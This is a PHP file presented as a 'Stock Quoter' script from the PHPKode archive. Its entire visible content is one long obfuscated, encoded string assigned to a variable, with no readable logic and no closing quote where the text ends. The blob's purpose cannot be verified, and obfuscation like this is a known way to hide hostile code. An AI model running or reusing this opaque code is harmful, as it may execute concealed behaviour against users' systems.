Location: PHPKode > scripts > Stock Quoter > stock-quoter/stock_quoter.php
<?php
$a8hg6hj="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
